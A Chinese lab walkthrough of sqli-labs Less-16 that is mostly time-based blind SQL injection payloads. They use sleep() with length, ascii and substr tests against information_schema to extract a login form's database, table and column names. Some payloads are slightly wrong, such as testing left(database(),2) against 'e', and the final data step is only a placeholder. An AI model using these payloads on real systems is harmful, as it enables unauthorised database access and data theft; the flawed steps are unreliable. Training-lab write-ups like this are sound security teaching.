该题注入类型为双引号加括号注入
其它步骤与Less-15无异:[网络安全]sqli-labs Less-15 解题详析
判断注入类型
uname=admin") and sleep(5) #
发现时间延迟
而
uname=admin" and sleep(5) #
时间并未延迟,说明没有闭合单引号会导致语句错误
因此后端为双引号+括号字符型查询
使用时间盲注
查库名
查库名长度
uname=admin") and if(length(database())=8,sleep(5),1)#&passwd=1&submit=Submit
页面延迟明显,故库名长度为8
查库名组成
uname=admin") and if(left(database(),1)='s',sleep(5),1)#&passwd=1&submit=Submit
页面延迟明显,故第一个字符为s
同理
uname=admin") and if(left(database(),2)='e',sleep(5),1)#&passwd=1&submit=Submit
页面延迟明显,故第二个字符为e
可得到库名为security
查表名
查表个数
uname=admin") and if((select count(table_name) from information_schema.tables where table_schema=database())=4,sleep(5),1) #&passwd=1&submit=Submit
延迟明显,故表个数为4
获取第一个表名称长度
uname=admin") and if(length((select table_name from information_schema.tables where table_schema=database() limit 0,1))=6,sleep(5),1) #&passwd=1&submit=Submit
延迟明显,故第一个表名称长度为6
输入以下语句即可获得第一个表名称的第一个字符:
uname=admin") and (select ascii(substr(table_name, 1, 1)) from information_schema.tables where table_schema = 'security' limit 1) >= 100 and sleep(5) #&passwd=1&submit=Submit
页面延迟明显,说明第一个字符的ASCII值大于等于100
uname=admin") and (select ascii(substr(table_name, 1, 1)) from information_schema.tables where table_schema = 'security' limit 1) = 101 and sleep(5) #&passwd=1&submit=Submit
延迟明显,说明第一个表名称的第一个字符为 e
最终得到第一个表名称为emails
同理可得到其它表名
查列名
获取列数
uname=admin") and if((select count(column_name) from information_schema.columns where table_schema=database() and table_name= 'emails')=2,sleep(5),1) #&passwd=1&submit=Submit
延迟明显,说明列数为 2
获取列名长度
获取第一列名称长度
uname=admin") and if(length(substr((select column_name from information_schema.columns where table_name= 'emails' limit 0,1),1))=2,sleep(5),1) #&passwd=1&submit=Submit
延迟明显,说明第一列名称长度为 2
获取列名字符组成
获取第一个列名的第一个字符
uname=admin") and if((select ascii(substr(column_name, 1, 1)) from information_schema.columns where table_name = 'emails' limit 0,1) =105, sleep(5), 1) #&passwd=1&submit=Submit
延迟明显,说明第一个列名的第一个字符为i
查数据
获取 xx 列的第一个字段的第一个字符
uname=admin") and if((select ascii(substring(column_name, 1, 1)) from information_schema.columns where table_name = 'emails' limit 0,1)判断表达式, sleep(5), 1) #&passwd=1&submit=Submit
同理,即可查出所有字段内容。
总结
以上为[网络安全]sqli-labs Less-16 解题详析,后续将分享[网络安全]sqli-labs Less-17 解题详析
我是秋说,我们下次见。